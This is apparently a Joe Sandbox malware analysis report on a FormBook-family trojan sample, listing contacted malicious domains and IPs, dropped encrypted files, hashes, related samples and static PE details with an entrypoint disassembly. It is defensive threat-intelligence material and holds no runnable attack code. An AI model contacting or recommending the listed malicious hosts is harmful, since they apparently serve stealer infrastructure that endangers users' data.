                                http://www.avalanchefi.xyz/ctta/?qfsT1X=73htI/07lnbi6jhjvkJXrlKQRaNn0ZyivRRSV4arkt57XDlKC2xJvnG+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKRrtxl9UhNOptiwMmmbo8BlLeBbb2AsBfiI=&54p4W=QZdpHHSp3fe82zttrue
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jalan2.online/xu9o/true
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.avalanchefi.xyz/ctta/true
                                • Avira URL Cloud: safe
                                		unknown

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                https://ac.ecosia.org/autocomplete?q=sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.google.com/images/branding/product/ico/googleg_alldp.icosc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://duckduckgo.com/chrome_newtabsc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drfalse
                                      		high
                                      https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchsc.exe, 00000004.00000002.60946576863.0000000007FE6000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drfalse
                                        		high
                                        https://duckduckgo.com/ac/?q=04j58b6g.4.drfalse
                                          		high
                                          https://www.google.com/images/branding/product/ico/googleg_lodp.ico04j58b6g.4.drfalse
                                            		high
                                            https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=sc.exe, 00000004.00000002.60946576863.0000000007FE6000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drfalse
                                              		high
                                              http://www.laohub10.net/dfeq/aTYBQVHvJYFlI.exe, 00000005.00000002.60940863079.0000000000CF3000.00000040.80000000.00040000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=04j58b6g.4.drfalse
                                                		high
                                                http://www.laohub10.netaTYBQVHvJYFlI.exe, 00000005.00000002.60940863079.0000000000CF3000.00000040.80000000.00040000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVpsc.exe, 00000004.00000002.60945232501.0000000003EF4000.00000004.10000000.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002FC4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.0000000002AC4000.00000004.80000000.00040000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://www.ecosia.org/newtab/sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://gemini.google.com/app?q=sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high

                                                      World Map of Contacted IPs

                                                      • No. of IPs < 25%
                                                      • 25% < No. of IPs < 50%
                                                      • 50% < No. of IPs < 75%
                                                      • 75% < No. of IPs

                                                      Public IPs

                                                      IPDomainCountryFlagASNASN NameMalicious
                                                      13.248.169.48
                                                      		www.avalanchefi.xyzUnited States
                                                      		16509AMAZON-02UStrue
                                                      23.225.159.42
                                                      		r0lqcud7.nbnnn.xyzUnited States
                                                      		40065CNSERVERSUStrue
                                                      108.179.253.197
                                                      		bloodbalancecaps.shopUnited States
                                                      		46606UNIFIEDLAYER-AS-1UStrue
                                                      108.181.189.7
                                                      		jalan2.onlineCanada
                                                      		852ASN852CAtrue

                                                      General Information

                                                      Joe Sandbox version:41.0.0 Charoite
                                                      Analysis ID:1566499
                                                      Start date and time:2024-12-02 10:53:52 +01:00
                                                      Joe Sandbox product:CloudBasic
                                                      Overall analysis duration:0h 10m 20s
                                                      Hypervisor based Inspection enabled:false
                                                      Report type:full
                                                      Cookbook file name:default.jbs
                                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                      Run name:Potential for more IOCs and behavior
                                                      Number of analysed new started processes analysed:6
                                                      Number of new started drivers analysed:0
                                                      Number of existing processes analysed:0
                                                      Number of existing drivers analysed:0
                                                      Number of injected processes analysed:2
                                                      Technologies:
                                                      • HCA enabled
                                                      • EGA enabled
                                                      • AMSI enabled
                                                      Analysis Mode:default
                                                      Analysis stop reason:Timeout
                                                      Sample name:lKvXJ7VVCK.exe
                                                      Detection:MAL
                                                      Classification:mal100.troj.spyw.evad.winEXE@7/3@6/4
                                                      EGA Information:
                                                      • Successful, ratio: 75%
                                                      HCA Information:
                                                      • Successful, ratio: 95%
                                                      • Number of executed functions: 41
                                                      • Number of non-executed functions: 266
                                                      Cookbook Comments:
                                                      • Found application associated with file extension: .exe

                                                      Warnings

                                                      • Exclude process from analysis (whitelisted): dllhost.exe
                                                      • Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
                                                      • Execution Graph export aborted for target aTYBQVHvJYFlI.exe, PID 7600 because it is empty
                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                      • VT rate limit hit for: lKvXJ7VVCK.exe

                                                      Simulations

                                                      Behavior and APIs

                                                      TimeTypeDescription
                                                      04:57:29API Interceptor530578x Sleep call for process: sc.exe modified

                                                      Joe Sandbox View / Context

                                                      IPs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      13.248.169.48BASF Hung#U00e1ria Kft.exeGet hashmaliciousFormBookBrowse
                                                      • www.tals.xyz/k1td/
                                                      PAYMENT_ADVICE.exeGet hashmaliciousFormBookBrowse
                                                      • www.heliopsis.xyz/69zn/
                                                      1k24tbb-00241346.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.gupiao.bet/t3a1/
                                                      Documents.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.hasan.cloud/tur7/
                                                      CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                      • www.egyshare.xyz/lp5b/
                                                      attached order.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.aktmarket.xyz/wb7v/
                                                      file.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.gupiao.bet/t3a1/
                                                      DO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.krshop.shop/grhe/
                                                      Fi#U015f.exeGet hashmaliciousFormBookBrowse
                                                      • www.a1shop.shop/5cnx/
                                                      ZAMOWIEN.BAT.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                      • www.tals.xyz/tj5o/
                                                      23.225.159.42New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                                      • www.laohub10.net/dfeq/
                                                      108.179.253.197New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse

                                                        Domains

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        www.avalanchefi.xyzNew Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                                        • 13.248.169.48
                                                        r0lqcud7.nbnnn.xyzBASF Hung#U00e1ria Kft.exeGet hashmaliciousFormBookBrowse
                                                        • 27.124.4.246
                                                        specifications.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                        • 23.225.159.42
                                                        OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                        • 202.79.161.151
                                                        ARRIVAL NOTICE.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                        • 202.79.161.151
                                                        OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                        • 27.124.4.246
                                                        REQUESTING FOR UPDATED SOA.exeGet hashmaliciousFormBookBrowse
                                                        • 23.225.160.132
                                                        PAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                        • 23.225.160.132
                                                        purchase Order.exeGet hashmaliciousFormBookBrowse
                                                        • 27.124.4.246
                                                        Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                        • 202.79.161.151
                                                        RFQ 3100185 MAHAD.exeGet hashmaliciousFormBookBrowse
                                                        • 27.124.4.246

                                                        ASNs

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        UNIFIEDLAYER-AS-1USFinalize_Agreement_DocuSign.pdfGet hashmaliciousCaptcha PhishBrowse
                                                        • 192.254.225.121
                                                        1d5sraR1S1.exeGet hashmaliciousAgentTeslaBrowse
                                                        • 50.87.219.149
                                                        P4toChrGer.exeGet hashmaliciousAgentTeslaBrowse
                                                        • 50.87.219.149
                                                        sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                        • 162.144.19.14
                                                        botnet.spc.elfGet hashmaliciousMirai, MoobotBrowse
                                                        • 142.6.141.61
                                                        arm7.elfGet hashmaliciousMirai, MoobotBrowse
                                                        • 142.7.26.16
                                                        https://mobile.mail.yahoo.com/apps/affiliateRouter?brandUrl=https://www.google.com/amp/t.co/N0QLoca1EY&appName=YMailNorrin&partner=1&locale=1&pageId=commerce_intent&clickRef=message_header&region=us&annotation=&buckets=&segment=&interactedItem=&slot=&uuid=mailNAGet hashmaliciousUnknownBrowse
                                                        • 50.6.173.246
                                                        https://herald-review.com/users/logout-success/?expire=1626371676&referer_url=http://209.159.152.50Get hashmaliciousHTMLPhisherBrowse
                                                        • 69.49.230.198
                                                        https://commandes.maisonetstyles.com/Short/?Verification=aalborz_02@yahoo.comGet hashmaliciousUnknownBrowse
                                                        • 50.6.196.212
                                                        botx.x86.elfGet hashmaliciousMiraiBrowse
                                                        • 173.254.89.55
                                                        AMAZON-02USsora.mpsl.elfGet hashmaliciousUnknownBrowse
                                                        • 54.171.230.55
                                                        https://nischatalks.lt.acemlna.com/Prod/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZkZmwwLnVzJTJGcyUyRmM0MTJmMDEzJTNGZW0lM0RkaWxpcC5tYXRoZXclNDBjYXNhLmdvdi5hdQ==&sig=F28J3VAL72g8YRkFLWUvhqFSBag5sKdkQKwMeDdTvDbT&iat=1732885424&a=%7C%7C226329423%7C%7C&account=nischatalks.activehosted.com&email=4Tp4HabxiWO4pvz6roguRO3SDqvOBrDfqzRC3S4QX3U%3D&s=075f541518f72bd1137bd07bd6bf86a5&i=444A374A1A2736Get hashmaliciousUnknownBrowse
                                                        • 13.227.8.43
                                                        Ziraat_Swift.htaGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                        • 18.141.10.107
                                                        http://demo.specialistbanking.co.uk/ad.PDFGet hashmaliciousUnknownBrowse
                                                        • 63.33.81.165
                                                        ppc.elfGet hashmaliciousMiraiBrowse
                                                        • 54.171.230.55
                                                        arm7.elfGet hashmaliciousMiraiBrowse
                                                        • 54.171.230.55
                                                        teste.x86.elfGet hashmaliciousMirai, Moobot, OkiruBrowse
                                                        • 54.214.255.210
                                                        teste.arm7.elfGet hashmaliciousMirai, Moobot, OkiruBrowse
                                                        • 54.78.26.72
                                                        teste.arm.elfGet hashmaliciousGafgyt, Mirai, Moobot, OkiruBrowse
                                                        • 18.221.123.44
                                                        sora.mips.elfGet hashmaliciousMiraiBrowse
                                                        • 35.75.100.92
                                                        CNSERVERSUSla.bot.arm5.elfGet hashmaliciousMiraiBrowse
                                                        • 23.224.171.93
                                                        arm.elfGet hashmaliciousMiraiBrowse
                                                        • 156.251.245.89
                                                        x86_64.elfGet hashmaliciousMirai, MoobotBrowse
                                                        • 154.202.46.255
                                                        botx.arm.elfGet hashmaliciousMiraiBrowse
                                                        • 23.225.137.21
                                                        specifications.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                        • 23.225.159.42
                                                        PO# 81136575.exeGet hashmaliciousDarkTortilla, FormBookBrowse
                                                        • 23.225.34.75
                                                        Salmebogs(1).exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 154.88.22.104
                                                        nabm68k.elfGet hashmaliciousUnknownBrowse
                                                        • 162.209.130.216
                                                        OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                        • 154.88.22.101
                                                        pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                                                        • 45.43.9.206

                                                        JA3 Fingerprints

                                                        ⊘No context

                                                        Dropped Files

                                                        ⊘No context

                                                        Created / dropped Files

                                                        C:\Users\user\AppData\Local\Temp\04j58b6g

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\sc.exe
                                                        File Type:SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
                                                        Category:dropped
                                                        Size (bytes):135168
                                                        Entropy (8bit):1.1142956103012707
                                                        Encrypted:false
                                                        SSDEEP:192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
                                                        MD5:E3F9717F45BF5FFD0A761794A10A5BB5
                                                        SHA1:EBD823E350F725F29A7DE7971CD35D8C9A5616CC
                                                        SHA-256:D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
                                                        SHA-512:F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                        C:\Users\user\AppData\Local\Temp\autB720.tmp

                                                        Download File
                                                        Process:C:\Users\user\Desktop\lKvXJ7VVCK.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):290304
                                                        Entropy (8bit):7.992894221070429
                                                        Encrypted:true
                                                        SSDEEP:6144:WAqlQ6fnfAwoPWxOh3C/9xAlOLZ0h/TSpJCknCAA0f:CBfnfDoPxg/9cAOhbyaAA0f
                                                        MD5:87B914249946C208EB3ED5ABC84C932A
                                                        SHA1:3369CD8FF94A1F3CE91A4060C74816AEB6DE4172
                                                        SHA-256:DA39D8A8FB6237C368C30127118DAB1617E4F3B1E87F7E2626493E49C2BD5FF0
                                                        SHA-512:68413FFF6974BC44FEB70FE45602068F9AF18124BD37B85D42946E4D0FE0CB5768E9B51458E8B91D4C80A91CA096397E4AF1ED753E36B0BAD82675EC0530AB9A
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:.i.MEKIE2HGX..MF.7MFKIE6.GXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAM.37MHT.K6.N.h.L.....":eF:(?; fPV#($=eT-g*</m/]....i(Y,"vDLGb37MFKIEOIN.t!*..W*.v)".R..{-!.-..u%Q.]..q&T../(!xV/.XIAMF37M..IEzIFX.-0.37MFKIE6.GZHJLM37.BKIE6HGXIA.U37MVKIEFLGXI.MF#7MFIIE0HGXIAMF57MFKIE6H7\IAOF37MFKKEv.GXYAMV37MF[IE&HGXIAMV37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXg5(>G7MF..A6HWXIA.B37]FKIE6HGXIAMF37mFK)E6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6H

                                                        C:\Users\user\AppData\Local\Temp\exhilaratingly

                                                        Download File
                                                        Process:C:\Users\user\Desktop\lKvXJ7VVCK.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):290304
                                                        Entropy (8bit):7.992894221070429
                                                        Encrypted:true
                                                        SSDEEP:6144:WAqlQ6fnfAwoPWxOh3C/9xAlOLZ0h/TSpJCknCAA0f:CBfnfDoPxg/9cAOhbyaAA0f
                                                        MD5:87B914249946C208EB3ED5ABC84C932A
                                                        SHA1:3369CD8FF94A1F3CE91A4060C74816AEB6DE4172
                                                        SHA-256:DA39D8A8FB6237C368C30127118DAB1617E4F3B1E87F7E2626493E49C2BD5FF0
                                                        SHA-512:68413FFF6974BC44FEB70FE45602068F9AF18124BD37B85D42946E4D0FE0CB5768E9B51458E8B91D4C80A91CA096397E4AF1ED753E36B0BAD82675EC0530AB9A
                                                        Malicious:false
                                                        Preview:.i.MEKIE2HGX..MF.7MFKIE6.GXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAM.37MHT.K6.N.h.L.....":eF:(?; fPV#($=eT-g*</m/]....i(Y,"vDLGb37MFKIEOIN.t!*..W*.v)".R..{-!.-..u%Q.]..q&T../(!xV/.XIAMF37M..IEzIFX.-0.37MFKIE6.GZHJLM37.BKIE6HGXIA.U37MVKIEFLGXI.MF#7MFIIE0HGXIAMF57MFKIE6H7\IAOF37MFKKEv.GXYAMV37MF[IE&HGXIAMV37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXg5(>G7MF..A6HWXIA.B37]FKIE6HGXIAMF37mFK)E6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6HGXIAMF37MFKIE6H

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Entropy (8bit):7.18986528907058
                                                        TrID:
                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                        • DOS Executable Generic (2002/1) 0.02%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:lKvXJ7VVCK.exe
                                                        File size:1'207'808 bytes
                                                        MD5:f3cf71f41423ce451f2c1099cbb08d10
                                                        SHA1:b53e311c99840316e3c142d00d639cb216adbd53
                                                        SHA256:9a510395868bb9ffe02004ef6010738facba10ab65da2d70f6719a430537c525
                                                        SHA512:5b96f2fa7fa7e781ac7adcb29266148b7c542bd003b77670e947ffc4614ba2102467b6f4f8c5ff6a55669dc73186ea9c71bca8dc2178afc3d0acf71e90f13bb7
                                                        SSDEEP:24576:Su6J33O0c+JY5UZ+XC0kGso6Fa5A9/46M7ZmWY:Uu0c++OCvkGs9Fa58ZKY
                                                        TLSH:0845CF22B3DDC360CB669173BF69B7016EBF3C214630B95B2F980D7DA950162162D7A3
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

                                                        File Icon

                                                        Icon Hash:aaf3e3e3938382a0

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x427dcd
                                                        Entrypoint Section:.text
                                                        Digitally signed:false
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                        DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x674D017C [Mon Dec 2 00:38:20 2024 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:5
                                                        OS Version Minor:1
                                                        File Version Major:5
                                                        File Version Minor:1
                                                        Subsystem Version Major:5
                                                        Subsystem Version Minor:1
                                                        Import Hash:afcdf79be1557326c854b6e20cb900a7

                                                        Entrypoint Preview

                                                        Instruction
                                                        call 00007FC34C5CAC4Ah
                                                        jmp 00007FC34C5BDA14h
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        int3
                                                        push edi
                                                        push esi
                                                        mov esi, dword ptr [esp+10h]
                                                        mov ecx, dword ptr [esp+14h]
                                                        mov edi, dword ptr [esp+0Ch]
                                                        mov eax, ecx
                                                        mov edx, ecx
                                                        add eax, esi
                                                        cmp edi, esi
                                                        jbe 00007FC34C5BDB9Ah
                                                        cmp edi, eax
                                                        jc 00007FC34C5BDEFEh
                                                        bt dword ptr [004C31FCh], 01h
                                                        jnc 00007FC34C5BDB99h
                                                        rep movsb
                                                        jmp 00007FC34C5BDEACh
                                                        cmp ecx, 00000080h
                                                        jc 00007FC34C5BDD64h
                                                        mov eax, edi
                                                        xor eax, esi
                                                        test eax, 0000000Fh
                                                        jne 00007FC34C5BDBA0h
                                                        bt dword ptr [004BE324h], 01h
                                                        jc 00007FC34C5BE070h
                                                        bt dword ptr [004C31FCh], 00000000h
                                                        jnc 00007FC34C5BDD3Dh
                                                        test edi, 00000003h
                                                        jne 00007FC34C5BDD4Eh
                                                        test esi, 00000003h
                                                        jne 00007FC34C5BDD2Dh
                                                        bt edi, 02h
                                                        jnc 00007FC34C5BDB9Fh
                                                        mov eax, dword ptr [esi]
                                                        sub ecx, 04h
                                                        lea esi, dword ptr [esi+04h]
                                                        mov dword ptr [edi], eax
                                                        lea edi, dword ptr [edi+04h]
                                                        bt edi, 03h
                                                        jnc 00007FC34C5BDBA3h
                                                        movq xmm1, qword ptr [esi]
                                                        sub ecx, 08h
                                                        lea esi, dword ptr [esi+08h]
                                                        movq qword ptr [edi], xmm1
                                                        lea edi, dword ptr [edi+08h]
                                                        test esi, 00000007h
                                                        je 00007FC34C5BDBF5h
                                                        bt esi, 03h
                                                        jnc 00007FC34C5BDC48h

                                                        Rich Headers

                                                        Programming Language:
                                                        • [ASM] VS2013 build 21005
                                                        • [ C ] VS2013 build 21005
                                                        • [C++] VS2013 build 21005
                                                        • [ C ] VS2008 SP1 build 30729
                                                        • [IMP] VS2008 SP1 build 30729
                                                        • [ASM] VS2013 UPD4 build 31101
                                                        • [RES] VS2013 build 21005
                                                        • [LNK] VS2013 UPD4 build 31101

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xba44c0x17c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x5e508.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x1260000x711c.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa48700x40.rdata
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x10000x8dcc40x8de00d28a820a1d9ff26cda02d12b888ba4b4False0.5728679102422908data6.676118058520316IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rdata0x8f0000x2e10e0x2e20079b14b254506b0dbc8cd0ad67fb70ad9False0.33535526761517614OpenPGP Public Key5.76010872795207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .data0xbe0000x8f740x52009f9d6f746f1a415a63de45f8b7983d33False0.1017530487804878data1.198745897703538IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .rsrc0xc70000x5e5080x5e600eec21202d5f5e8091818ab84e8779c1aFalse0.9303497516556292data7.900709235092143IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .reloc0x1260000x711c0x72006fcae3cbbf6bfbabf5ec5bbe7cf612c3False0.7650767543859649data6.779031650454199IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_ICON0xc75a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                        RT_ICON0xc76d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                        RT_ICON0xc77f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                        RT_ICON0xc79200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                        RT_ICON0xc7c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                        RT_ICON0xc7d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                        RT_ICON0xc8bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                        RT_ICON0xc94800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                        RT_ICON0xc99e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                        RT_ICON0xcbf900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                        RT_ICON0xcd0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                        RT_MENU0xcd4a00x50dataEnglishGreat Britain0.9
                                                        RT_STRING0xcd4f00x594dataEnglishGreat Britain0.3333333333333333
                                                        RT_STRING0xcda840x68adataEnglishGreat Britain0.2747909199522103
                                                        RT_STRING0xce1100x490dataEnglishGreat Britain0.3715753424657534
                                                        RT_STRING0xce5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                                        RT_STRING0xceb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                                        RT_STRING0xcf1f80x466dataEnglishGreat Britain0.3605683836589698
                                                        RT_STRING0xcf6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                        RT_RCDATA0xcf7b80x557cfdata1.000331278076531
                                                        RT_GROUP_ICON0x124f880x76dataEnglishGreat Britain0.6610169491525424
                                                        RT_GROUP_ICON0x1250000x14dataEnglishGreat Britain1.25
                                                        RT_GROUP_ICON0x1250140x14dataEnglishGreat Britain1.15
                                                        RT_GROUP_ICON0x1250280x14dataEnglishGreat Britain1.25
                                                        RT_VERSION0x12503c0xdcdataEnglishGreat Britain0.6181818181818182
